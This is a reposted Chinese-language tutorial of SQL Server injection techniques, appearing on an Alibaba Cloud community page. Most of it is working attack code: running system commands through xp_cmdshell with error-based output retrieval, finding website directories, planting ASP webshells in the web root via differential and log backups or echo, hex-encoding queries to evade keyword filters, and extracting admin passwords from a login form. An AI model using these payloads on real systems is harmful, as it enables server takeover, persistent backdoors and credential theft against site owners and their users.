SqlServer 注入技巧

來源:互聯網
上載者:User

標籤:

一、SA許可權執行命令,如何更快捷的擷取結果?

有顯示位

顯示位

其實這裡的關鍵並不是有無顯示位。exec master..xp_cmdshell ‘systeminfo‘產生的資料寫進一張表的時候,會產生很多行。而我們要做的就是如何很多行通過顯示位、或者報錯語句一次性爆出來,這裡的關鍵就是多行合一。

方法①

01      
02 BEGIN
03      IF EXISTS(select table_name from information_schema.tables where table_name=‘test_1‘)drop table test_1;
04      IF EXISTS(select table_name from information_schema.tables where table_name=‘test_2‘)drop table test_2;
05      create TABLE test_1([output][varchar](1000));
06      insert test_1 exec master.dbo.xp_cmdshell ‘ipconfig /all‘;
07      DECLARE @result varchar(8000)
08      SET @result=‘~‘
09      SELECT @[email protected]+‘ ‘+output from test_1 where output>‘ ‘
10      SELECT @result AS result INTO test_2;
11      SELECT convert(int,(select result from test_2));
12 END;

解析:
這裡6-9句的意思是申明一個@result的臨時變數;
設定初始值為’~’;將test_1中的資料資料依次取出來,迭代條件是output>’ ‘,並組合成新的字串,字串之間用空格隔開最後複製給@result;
然後將@result設定一個別名,然後插入test_2中。
最後報錯回顯
PS:
mssql英文字母比較大小不區分大小寫
mssql字串比較大小和C語言中的str_cmp()一樣的道理

方法②(注入點測試成功、測試平台SQL Server2008- 10.0.1600.22 (X64)

1 報錯:AND (SELECT FROM test_1 FOR XML PATH(‘‘))=1--
2 顯示:UNION SELECT 1,(SELECT FROM test_1 FOR XML PATH(‘‘))--
二、如何快速尋找網站目錄(SA使用者)

SA使用者被降權

SA使用者未被降權

這裡區分降權與非降權是有道理的,如果沒有被降權。那麼許可權很高就可以讀取某些儲存在原生配置了,如果許可權低一點的話,可以使用dir命令尋找。

方法①(被降權:–親測成功):

1 CREATE TABLE test_1([output][varchar](1000));
2 INSERT test_1 EXEC master.dbo.xp_cmdshell ‘dir /s d:\web.config ‘;
3 AND (SELECT FROM test_1 FOR XML PATH(‘‘))=1;

方法②(未被降權–system–親測成功):

1 CREATE TABLE test_1([output][varchar](1000));
2 INSERT test_1 EXEC master.dbo.xp_cmdshell ‘cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ‘;
3 AND (SELECT FROM test_1 FOR XML PATH(‘‘))=1;

方法③(sa+system許可權+IIS7.0+IIS7.5):

%systemroot%/system32/inetsrv/appcmd.exe list site ——列出網站列表

%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出網站實體路徑

PS: %systemroot%代表c:\windows\

三、如何利用注入點getshell

方法①(差異備份)–用戶端親測成功–並未要求許可權,可以在非sa許可權的注入點測試

1 IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp;
2 backup database XFData to disk = ‘D:\WebRoot\asp.bak‘;
3 create table [dbo].[test_tmp] ([cmd] [image]);
4 insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
5 backup database XFData to disk=‘D:\WebRoot\asp.asp‘ WITH DIFFERENTIAL,FORMAT;

方法②(減小體積)–用戶端親測成功–並未要求許可權,可以在非sa許可權的注入點測試

1 IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp;
2 alter database XFData set RECOVERY FULL;
3 create table  test_tmp  (a image);
4 backup log XFData to disk = ‘D:\WebRoot\asp.bak‘ with init;
5 insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
6 backup log XFData to disk = ‘D:\webroot\123.asp‘

PS:
如果不能備份,很有可能是存取權限的問題。可以切換目錄嘗試
如果表存在,也不能成功;所以先判斷表是否存在,如果存在就刪除。

方法③(echo 輸出一句話木馬)–sa許可權+目前使用者寫入權限–親測成功

1 echo ^<%eval request("pass")%^> >D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp

PS:這裡由於是注入點,因此需要注意編碼的問題。一般來說,網頁的編碼和資料庫的編碼是一致的(如果不一致~~~算我輸)。這裡我用了一個中文路徑做說明。

四、如何避免使用select之類的關鍵字

方法①:十六進位混淆

1 ;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
五、登入點的注入如何最快擷取後台密碼
01 1‘ HAVING 1=1-- #爆出表名
02   
03 1‘ GROUP BY username HAVING 1=1--  # 爆出欄位名
04   
05 # User_Mess.Account
06   
07 # User_Mess.PWD
08   
09 1‘;select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--                                                          
10 1‘;select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account=‘admin‘))--

 

SqlServer 注入技巧

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.